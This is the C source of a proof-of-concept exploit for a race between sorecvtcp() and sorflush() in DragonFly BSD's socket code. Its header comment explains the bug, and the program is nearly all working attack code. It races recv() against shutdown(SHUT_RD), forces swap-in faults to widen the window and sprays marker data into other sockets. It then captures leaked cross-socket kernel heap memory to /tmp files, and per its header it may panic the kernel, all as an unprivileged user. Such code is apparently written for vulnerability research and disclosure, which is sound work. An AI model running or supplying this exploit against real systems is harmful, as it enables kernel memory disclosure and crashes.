/*
 * DF-2694 PoC: sorflush() vs sorecvtcp() unlocked-copy race
 * =========================================================
 *
 * sys/kern/uipc_socket.c:
 *   sorecvtcp() marks receive mbufs M_SOLOCKED (uipc_socket.c:1746-1753),
 *   then RELEASES the receive token (uipc_socket.c:1758) and runs its
 *   uiomove copy loop with no token (1778-1822).
 *
 *   soshutdown(SHUT_RD) deliberately does NOT take ssb_lock
 *   (uipc_socket.c:1953-1957) and calls sorflush() which takes only the
 *   token, snapshots the sockbuf and frees ALL mbufs via
 *   ssb_release()->sbflush()->sbdrop()->m_freem() (uipc_socket.c:1988,
 *   uipc_socket2.c:754-760, uipc_sockbuf.c:451-508).  m_free() does not
 *   check M_SOLOCKED (sys/kern/uipc_mbuf.c) - it clears the flag and
 *   returns the mbuf+cluster to the objcache.
 *
 * Consequences, racing recv() against shutdown(fd, SHUT_RD) on a TCP
 * socket:
 *   - uiomove() reads freed (and possibly reallocated) clusters
 *     -> cross-socket kernel heap data disclosure into the recv buffer
 *   - post-loop sync block finds ssb_mb == NULL with offset != 0
 *     -> KKASSERT(m) panic (INVARIANTS) / NULL-deref (non-INVARIANTS)
 *       (uipc_socket.c:1851-1852, 1858)
 *
 * This program:
 *   - builds a loopback TCP pair, queues hundreds of KB of 'A' data
 *   - recv()s into a file-backed MAP_PRIVATE region whose pages are
 *     deliberately non-resident (each fault stretches the unlocked copy
 *     window)
 *   - busy-waits a swept number of microseconds (usleep quantizes to
 *     10ms ticks at hz=100) then shutdown(SHUT_RD)
 *   - a "sprayer" churns 'P'-filled clusters on other sockets so freed
 *     clusters get reused with recognizable foreign data
 *   - scans the receive buffer for 'P' markers (leak proof) and reports
 *     per-round anomalies (line-buffered stdout)
 *
 * Unprivileged. Panic (if it hits) lands on the serial console.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>

static int verbose = 1;

static double
now_us(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ((double)ts.tv_sec * 1e6 + (double)ts.tv_nsec / 1e3);
}

static void
busy_us(int us)
{
	double t0 = now_us();

	while (now_us() - t0 < (double)us)
		/* spin */;
}

static int
tcp_pair(int *client, int *server, int rcvbuf)
{
	struct sockaddr_in a;
	socklen_t al = sizeof(a);
	int l = socket(AF_INET, SOCK_STREAM, 0);
	int c, s;

	memset(&a, 0, sizeof(a));
	a.sin_family = AF_INET;
	a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (bind(l, (struct sockaddr *)&a, sizeof(a)) < 0)
		return -1;
	if (listen(l, 1) < 0)
		return -1;
	if (getsockname(l, (struct sockaddr *)&a, &al) < 0)
		return -1;
	c = socket(AF_INET, SOCK_STREAM, 0);
	if (connect(c, (struct sockaddr *)&a, sizeof(a)) < 0)
		return -1;
	s = accept(l, NULL, NULL);
	close(l);
	if (s < 0)
		return -1;
	if (rcvbuf)
		setsockopt(c, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
	*client = c;
	*server = s;
	return 0;
}

struct warg {
	int fd;
	long total;
	volatile int stop;
};

static void *
writer(void *v)
{
	struct warg *w = v;
	char *b = malloc(65536);
	long sent = 0;

	memset(b, 'A', 65536);
	while (!w->stop && sent < w->total) {
		ssize_t n = write(w->fd, b, 65536);
		if (n <= 0)
			break;
		sent += n;
	}
	free(b);
	return NULL;
}

static int sprayfd[2];
static volatile int spray_stop;
static pthread_t spray_thr[8];

static void *
sprayer(void *v __unused)
{
	char *p = malloc(16384);
	char drain[65536];

	memset(p, 'P', 16384);
	while (!spray_stop) {
		if (write(sprayfd[0], p, 16384) <= 0)
			break;
		read(sprayfd[1], drain, sizeof(drain));
	}
	free(p);
	return NULL;
}

struct rarg {
	int fd;
	void *buf;
	size_t len;
	ssize_t n;
	double t_copy;		/* measured copy duration (us) */
	volatile int go;
};

static void *
reader(void *v)
{
	struct rarg *r = v;
	double t0;

	while (!r->go)
		/* spin: reader is already on-CPU when released */;
	t0 = now_us();
	r->n = recv(r->fd, r->buf, r->len, 0);
	r->t_copy = now_us() - t0;
	return NULL;
}

static long
count_byte(const char *b, size_t n, char c)
{
	long x = 0;
	size_t i;

	for (i = 0; i < n; i++)
		if (b[i] == c)
			x++;
	return x;
}

static int
find_marker(const char *b, size_t n, char c, int minrun)
{
	int run = 0;
	size_t i;

	for (i = 0; i < n; i++) {
		if (b[i] == c) {
			if (++run >= minrun)
				return 1;
		} else {
			run = 0;
		}
	}
	return 0;
}

int
main(int argc, char **argv)
{
	int rounds = (argc > 1) ? atoi(argv[1]) : 24;
	int dstart = (argc > 2) ? atoi(argv[2]) : 20000; /* start delay us */
	int dstep  = (argc > 3) ? atoi(argv[3]) : 5000;  /* step us */
	int mode   = (argc > 4) ? atoi(argv[4]) : 0;    /* 0=tcp 1=unix */
	const size_t RLEN = 512 * 1024;
	int r, leaks = 0;
	char padpath[64];
	int padfd;
	void *rbuf;
	void *pool;
	size_t poolsz;
	const size_t PIG = (size_t)3400 << 20;

	setvbuf(stdout, NULL, _IOLBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	signal(SIGPIPE, SIG_IGN);
	printf("DF-2694 race: rounds=%d delay=%d+%dus recvlen=%zu mode=%s\n",
	    rounds, dstart, dstep, RLEN, mode ? "unix-leak" : "tcp-panic");

	if (rounds < 1)
		rounds = 1;

	/*
	 * Prepare a pool of rounds+1 receive windows, dirty them, then
	 * force everything out to swap with one big memory hog pass.
	 * Every recv() into a fresh window then takes a sleeping
	 * (swap-in) fault per page: while a DFly thread is blocked in
	 * tsleep it releases its lwkt tokens (lwkt_switch ->
	 * lwkt_relalltokens), which is exactly what opens the
	 * sorecvtcp() copy loop to a concurrent sorflush().
	 */
	poolsz = RLEN * (size_t)(rounds + 1);
	pool = mmap(NULL, poolsz, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (pool == MAP_FAILED) {
		perror("pool mmap");
		return 1;
	}
	memset(pool, 0x55, poolsz);
	printf("dirtying pig (%zu MB)...\n", PIG >> 20);
	{
		char *pig = mmap(NULL, PIG, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
		if (pig == MAP_FAILED)
			perror("pig mmap");
		else {
			memset(pig, 1, PIG);
			munmap(pig, PIG);
		}
	}
	printf("pool swapped out; starting rounds\n");
	snprintf(padpath, sizeof(padpath), "/tmp/df2694pad.%d", getpid());
	padfd = open(padpath, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (padfd < 0) {
		perror("open pad");
		return 1;
	}
	ftruncate(padfd, (off_t)RLEN);

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sprayfd) < 0) {
		perror("socketpair");
		return 1;
	}
	for (r = 0; r < 8; r++)
		pthread_create(&spray_thr[r], NULL, sprayer, NULL);

	for (r = 0; r < rounds; r++) {
		int cfd, sfd, delay = dstart + r * dstep;
		struct warg w;
		pthread_t wt, rt;
		struct rarg ra;
		ssize_t n;

		if (mode == 0) {
			if (tcp_pair(&cfd, &sfd, 256 * 1024) < 0) {
				perror("tcp_pair");
				break;
			}
		} else {
			int sv[2];
			if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
				perror("socketpair");
				break;
			}
			cfd = sv[0];
			sfd = sv[1];
		}
		w.fd = sfd;
		w.total = 8 * 1024 * 1024;
		w.stop = 0;
		pthread_create(&wt, NULL, writer, &w);

		usleep(15000);	/* let data queue up in so_rcv */

		rbuf = (char *)pool + RLEN * (size_t)r;	/* pre-swapped */
		ra.fd = cfd;
		ra.buf = rbuf;
		ra.len = RLEN;
		ra.n = -1;
		ra.t_copy = 0;
		fprintf(stderr, "r%d: reader-go\n", r);
		pthread_create(&rt, NULL, reader, &ra);

		busy_us(delay);
		fprintf(stderr, "r%d: shutdown\n", r);
		shutdown(cfd, SHUT_RD);

		pthread_join(rt, NULL);
		fprintf(stderr, "r%d: reader-joined n=%zd copy=%.0fus\n", r, ra.n, ra.t_copy);
		w.stop = 1;
		/*
		 * The victim no longer drains anything after shutdown(RD);
		 * shut the peer's send side so a blocked writer unblocks
		 * (EPIPE) instead of deadlocking our join.
		 */
		shutdown(sfd, SHUT_WR);
		pthread_join(wt, NULL);
		fprintf(stderr, "r%d: writer-joined\n", r);
		n = ra.n;

		if (verbose > 1)
			printf("round %d delay=%dus recv=%zd copy=%.0fus\n",
			    r, delay, n, ra.t_copy);
		if (n > 0) {
			long pa = count_byte(rbuf, n, 'A');
			long pp = count_byte(rbuf, n, 'P');
			int mk = find_marker(rbuf, n, 'P', 64);
			if (mk || (verbose && pp > 0)) {
				printf("round %d delay=%dus recv=%zd A=%ld "
				    "P=%ld MARKER=%d %s\n", r, delay, n, pa,
				    pp, mk, mk ? "*** LEAK ***" : "");
				if (mk) {
					leaks++;
					char fn[64];
					snprintf(fn, sizeof(fn),
					    "/tmp/df2694_leak.%d.bin", r);
					FILE *f = fopen(fn, "w");
					if (f) {
						fwrite(rbuf, 1, n, f);
						fclose(f);
					}
				}
			}
			if ((pa + pp) < (long)n / 2) {
				printf("round %d delay=%dus recv=%zd "
				    "UNEXPECTED-CONTENT A=%ld P=%ld "
				    "other=%zd copy=%.0fus\n", r, delay, n,
				    pa, pp, n - pa - pp, ra.t_copy);
			}
		} else if (verbose > 1) {
			printf("round %d delay=%dus recv=%zd errno=%d "
			    "copy=%.0fus\n", r, delay, n, errno, ra.t_copy);
		} else if (n < 0) {
			printf("round %d delay=%dus recv-ERR errno=%d "
			    "copy=%.0fus\n", r, delay, errno, ra.t_copy);
		}

		close(cfd);
		close(sfd);
	}

	spray_stop = 1;
	/* unblock any sprayer sitting in read() */
	shutdown(sprayfd[0], SHUT_RDWR);
	shutdown(sprayfd[1], SHUT_RDWR);
	for (r = 0; r < 8; r++)
		pthread_join(spray_thr[r], NULL);
	unlink(padpath);
	munmap(pool, poolsz);
	printf("done: %d rounds, %d marker leaks\n", rounds, leaks);
	return (leaks != 0);
}